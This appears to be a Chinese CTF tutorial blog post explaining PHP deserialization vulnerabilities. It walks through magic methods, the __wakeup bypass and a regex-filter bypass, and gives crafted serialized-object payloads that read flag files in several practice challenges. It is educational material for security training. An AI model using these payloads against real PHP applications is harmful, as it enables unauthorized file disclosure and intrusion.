zoukankan      html  css  js  c++  java
  • CTF-WEB:PHP 反序列化

    序列化与反序列化

    magic 方法

    PHP 的面向对象中包含一些魔术方法,这些方法在某种情况下会被自动调用。

    magic 方法 功能
    __construct() 类构造器
    __destruct() 类的析构器
    __sleep() 执行 serialize() 时,先会调用这个函数
    __wakeup() 执行 unserialize() 时,先会调用这个函数
    __toString() 类被当成字符串时的回应方法

    serialize 和 unserialize 函数

    在 PHP 中将对象、数组、变量等转化为字符串,这样便于将数据保存到数据库或者文件中,这个过程称之为序列化。当需要使用这些数据时,就需要用反序列化就是将字符串还原回原来的样子,也就是序列化的逆过程。PHP 提供了 serializeunserialize 函数来支持这 2 种操作,当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞
    下面来看看具体是什么操作,例如这是数组的序列化:

    $a = array('张三','李四','王五');
    $a_ser = serialize($a);
    echo "$a_ser <br>";
    print_r(unserialize($a_ser));
    

    输出内容如下,其中 “a” 表示这是个数组,数组的每个元素的格式形如 “i:0;s:6:"张三";”,其中 “i” 表示 整型,“s” 表示字符串。

    a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;s:6:"王五";} 
    

    把以上内容反序列化之后的输出结果为:

    Array
    (
        [0] => 张三
        [1] => 李四
        [2] => 王五
    )
    

    接下来再看看一个对象的序列化和反序列化:

    class a_object{
       public $id = 123;
    }
    $a = new a_object;
    $a_ser=serialize($a);
    echo $a_ser;
    echo '<br>';
    print_r(unserialize($a_ser));
    

    输出结果如下,注意到类在序列化后的格式为“变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}”。

    O:8:"a_object":1:{s:2:"id";i:123;}
    a_object Object
    (
        [id] => 123
    )
    

    访问控制修饰符

    根据类中字段的访问控制修饰符的不同,在序列化的时候的输出有所不同,例如:

    class a_object{
       public $Id1 = 123;
       protected $Id2 = 123;
       private $Id3 = 123;
    }
    $a = new a_object;
    $a_ser=serialize($a);
    echo $a_ser;
    echo '<br>';
    print_r(unserialize($a_ser));
    

    输出的内容如下,注意声明为 protected 的字段序列化格式为 “%00*%00属性名”,声明为 private 的字段序列化格式为 %00类名%00属性名

    O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}
    a_object Object
    (
        [Id1] => 123
        [Id2:protected] => 123
        [Id3:a_object:private] => 123
    )
    

    绕过 __wakeup()

    由于 __wakeup() 函数在执行 unserialize() 时,先会调用这个函数,有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup() 函数就要先绕过,绕过方法是令对象属性个数的值大于真实个数的属性。例如:

    O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}
    

    例题:bugku-flag.php

    打开题目flag.php,这是一个完全没有反应的登录页面。

    根据提示用 GET 方法传递个 hint 参数,参数值随便(我觉得这个点毫无意义),得到题目的 PHP 源码。

    源码中有 3 个部分,其中第二部分是我们看到的页面的源码,第三部分无意义,因此我们着重分析第一部分。

    <?php 
    error_reporting(0);      //关闭错误报告
    include_once("flag.php");       //执行期间包含并运行指定文件 flag.php
    $cookie = $_COOKIE['ISecer'];       //$_COOKIE 变量在 ISecer 取回 cookie 的值
    if(isset($_GET['hint'])){
        show_source(__FILE__); 
    } 
    elseif (unserialize($cookie) === "$KEY") 
    {    
        echo "$flag"; 
    } 
    else { 
    ?> 
    

    这段代码会取回 cookie 的值,unserialize 函数是对单一的已序列化的变量进行操作,将其转换回 PHP 的值。也就是说 unserialize 函数出现的地方是解题的关键,如果变量 $cookie 反序列化的结果和 $KEY 变量完全相同,就会显示 flag。因此我们需要传递一个名为 ISecer 的 cookie,里面的值应该是 $KEY 变量序列化后的结果。
    注意这个时候我们并没有定义名为 KEY 的变量,因此这个变量的值应该是 NULL,此时可以直接写个简单的脚本看看序列化的结果是啥:

    <?php 
    echo serialize("$KEY");  
    ?>
    

    可以得到 NULL 序列化后为“s:0:"";”,注意此时分号不可省略,但是提交时会被忽略,需要使用分号的 URL 编码 “%3b”来替代。此时可以直接用 HackBar 提交 cookie,也可以用 Burp 改 Cookie 字段提交获得 flag。

    例题:JMU PHP 反序列化

    打开网页,看到一段 PHP 代码,看一下有哪些关键信息。首先是 flag 所在的位置,注释写了在 flag.php,观察到传入的参数是 s。

    接下来根据提示,函数 __desteuct() 能够在当一个对象被销毁时自动执行对应的代码,代码中有一个 readfile() 函数可以读取信息。现在要传入一个对象,这个对象会被销毁从而触发 desteuct 函数,进而触发文件的输出。这个时候因为有反序列化函数 unserialize() 会把一个序列化的对象销毁掉,可以用这个函数来触发。

    此时就是要去构造一个序列化好的对象,这时注意到提示,这个对象的变量是私有变量,使用脚本生成序列化的对象。

    根据私有变量的特点完善一下,构造 payload 传入,之后打开 F12 查看 flag。

    ?s=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
    

    例题:bugku-welcome to bugkuctf

    之前我们得到了 hint.php 的源码,注意到其实还有个 index.php 文件,把 hint.php 替换为 index.php 后使用同样的方法得到它的 base64 编码。

    <?php
    $txt = $_GET["txt"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
        echo "hello friend!<br>";
        if(preg_match("/flag/",$file)){
            echo "不能现在就给你flag哦";
            exit();
        }
        else{
            include($file);
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        echo "you are not the number of bugku ! ";
    }
    
    ?>
    

    这里我们注意到使用了 unserialize() 函数,这时候考虑使用 PHP 反序列化。源码通过 preg_match() 匹配了 flag 关键字,也是说无法在 index.php 中输出 flag.php 的内容。这里的关键在于 hint.php 中的 Flag 类,类中定义的 tostring() 方法会输出文件的内容。

    <?php
    
    class Flag{//flag.php
        public $file;
        public function __tostring(){
            if(isset($this->file)){
                echo file_get_contents($this->file);
                echo "<br>";
            return ("good");
            }
        }
    }
    ?>
    

    结合 password 参数我们还没使用,可以构造 Flag 类的序列化传给 password,然后在反序列化时自动调用 tostring() 查看文件。可以写一段简单的 PHP 脚本得到 Flag 对象的序列化:

    <?php
        class Flag{  
            public $file;  
        }  
     
        $a = new Flag();
        $a->file = "flag.php";
        print_r(serialize($a));
    ?>
    

    在最后将 password 变量的值赋为 Flag 对象的序列化传入,终于得到 flag。

    ?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    例题:攻防世界-unserialize3

    打开网页,看到源码如下,这是一个 xctf 对象定义,根据提示这是个 PHP 反序列化。

    class xctf{ 
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    

    由于 wakeup() 函数在执行 unserialize() 反序列化时会先调用,如果这个函数被调用就看不到 flag 了。因此需要绕过 wakeup() 函数,让对象数大于实际对象数就行。编写好对象序列化后的字符串后,传给 code 参数即可得到 flag。

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

    例题:攻防世界-Web_php_unserialize

    打开网页,看到源码如下,这题很明显又是一道 PHP 反序列化。在 Demo 对象中有个 file 字段,根据默认值存储的应该是某个 PHP 文件名。

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } 
        else {
            @unserialize($var); 
        } 
    } 
    else { 
        highlight_file("index.php"); 
    } 
    ?>
    

    根据提示 flag 在文件 fl4g.php 中,因此我们先构造出 file 值为 fl4g.php 的 Demo 对象。

    O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
    

    接下来我们看一下有没有什么地方需要绕过,观察到有个 preg_match() 函数进行正则匹配,如果匹配成功则不会输出 flag。“/[oc]:d+:/i” 正则匹配的字符串,是在不区分大小写的情况下匹配 “o:数字” 或者 "c:数字’ 的字符串。也就是说,如果我们直接把上述字符串传上去,会被过滤掉,绕过的方式是使用 “4” 的同义表示方法 “+4”。同时还需要绕过 wakeup() 函数,让对象数大于实际对象数,修改后的字符串如下。

    O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
    

    最后注意到还有个 base64_decode() 函数进行 base64 解码,也就是说我们传入的参数应该是使用 base64 加密过的字符串。最后构造 payload 传入,即可得到 flag。

    index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
    

    参考资料

    CTF中的序列化与反序列化
    web安全:反序列化(CTF中常见)
    Bugku CTF 反序列化
    CTF PHP反序列化

  • 相关阅读:
    对java中接口的简单理解
    jqgrid
    sed跨行匹配替换
    linux 安装 mysql
    mysql 导入或导出(mysqldump)数据
    spring boot slf4j + logback
    原码、反码、补码
    Java线程池(一)
    springboot 多环境配置及打包资源
    springboot自定义yaml配置文件
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13520608.html
Copyright © 2011-2022 走看看